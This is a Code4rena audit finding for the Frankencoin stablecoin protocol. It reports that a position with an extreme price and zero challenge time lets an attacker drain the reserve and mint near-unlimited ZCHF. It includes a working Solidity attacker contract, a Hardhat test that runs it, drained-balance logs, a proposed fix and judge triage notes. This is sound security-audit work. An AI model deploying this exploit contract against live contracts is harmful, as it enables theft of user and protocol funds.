Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 91/199
Findings: 1
Award: $35.06
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L347 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L265-L271 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Frankencoin.sol#L280
Attacker can drain all tokens from the reserve and mint "infinite" amount of tokens by creating a position with a huge liquidation price and zero challenge time, which allows him to challenge and end it in the same transaction claiming reward to himself.
Reward is calculated as a 2% from the volume volumeZCHF = _mulD18(price, _size)
which is a ZCHF amount that could be minted with a challenger's collateral.
As you can see it is a product of a challenger's collateral and a price. The fact that it is possible to set any price and challenge the position without waiting for a confirmation from shareholders allows us to exploit this formula inflating our reward to a size that it isn't possible to cover it with tokens from the reserve forcing protocol to mint the remainder.
function notifyLoss(uint256 _amount) override external minterOnly { uint256 reserveLeft = balanceOf(address(reserve)); if (reserveLeft >= _amount){ _transfer(address(reserve), msg.sender, _amount); } else { _transfer(address(reserve), msg.sender, reserveLeft); _mint(msg.sender, _amount - reserveLeft); }
The exploit flow:
Attacker's contract
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Frankencoin.sol"; import "./MintingHub.sol"; import "./Ownable.sol"; import "./IERC20.sol"; contract ChallengeMe is Ownable { Frankencoin public immutable zchf; MintingHub public immutable hub; IERC20 public immutable collateral; constructor(Frankencoin _zchf, MintingHub _hub, IERC20 _collateral) { setOwner(msg.sender); zchf = _zchf; hub = _hub; collateral = _collateral; collateral.approve(address(hub), 2); } function attack() external onlyOwner { // prep params uint256 price = type(uint256).max / hub.CHALLENGER_REWARD(); uint256 minCollateral = 1; uint256 initialCollateral = 1; // challenge col = position col uint256 challengeTime = 0; // end challenge in the same block uint256 expire = 60*60; // create a position address pos = hub.openPosition(address(collateral), minCollateral, initialCollateral, 0, expire, challengeTime, 0, price, 0); // launch and end the challenge uint256 challengeNum = hub.launchChallenge(pos, 1); hub.end(challengeNum, false); // it's payday! uint256 reward = zchf.balanceOf(address(this)); zchf.transfer(msg.sender, reward); } }
Launching attack in tests PositionTests.ts
it("drain the reserve and mint 'infinite' tokens", async () => { //----- preparation const chad = accounts[3]; // deploy and send tokens to the exploit const Exploit = await ethers.getContractFactory('ChallengeMe', chad); const exploit = await Exploit.deploy(ZCHFContract.address, mintingHubContract.address, mockVOL.address); await ZCHFContract.transfer(exploit.address, await mintingHubContract.OPENING_FEE()); await mockVOL.transfer(exploit.address, 2); // send ZCHF to the reserve bank const reserve = await ZCHFContract.reserve(); await ZCHFContract.transfer(reserve, floatToDec18(10_000)); // some checks let hackerBalance = await ZCHFContract.balanceOf(chad.address); let reserveBalance = await ZCHFContract.balanceOf(reserve); console.log("HACKER BALANCE BEFORE: ", hackerBalance/1e18); console.log("RESERVE BALANCE BEFORE: ", reserveBalance/1e18); expect(hackerBalance).to.be.equal(0); expect(reserveBalance).to.be.equal(floatToDec18(10_000)); //----- attack await exploit.connect(chad).attack(); // post exploit checks hackerBalance = await ZCHFContract.balanceOf(chad.address); reserveBalance = await ZCHFContract.balanceOf(reserve); console.log("HACKER BALANCE AFTER: ", hackerBalance/1e18); console.log("RESERVE BALANCE AFTER: ", reserveBalance/1e18); expect(hackerBalance).to.be.gt(10n ** 53n); expect(reserveBalance).to.be.equal(0); });
Logs
Balances are converted from weis HACKER BALANCE BEFORE: 0 ZCHF RESERVE BALANCE BEFORE: 10000 ZCHF HACKER BALANCE AFTER: 1.1579208923731618e+35 ZCHF RESERVE BALANCE AFTER: 0 ZCHF
Hardhat
The attack was possible due to the following reasons:
price
variable which can be set to any valueWe should probably calculate the reward from an actual repayment
amount
uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF;
this way we'll never have to deal with inflated numbers because unconfirmed positions can't mint and even if price was changed later on confirmed position hopefully it will be challenged in 3 days cooldown period.
Another step would be to harden the MintingHub
. In current state we trust our shareholders to deny any 'bad' positions but it will make their life easier if we'll include some additional checks, for example revert position creation if challengeSeconds
is too short.
#0 - c4-pre-sort
2023-04-26T13:23:37Z
0xA5DF marked the issue as duplicate of #458
#1 - c4-judge
2023-05-18T14:45:20Z
hansfriese marked the issue as satisfactory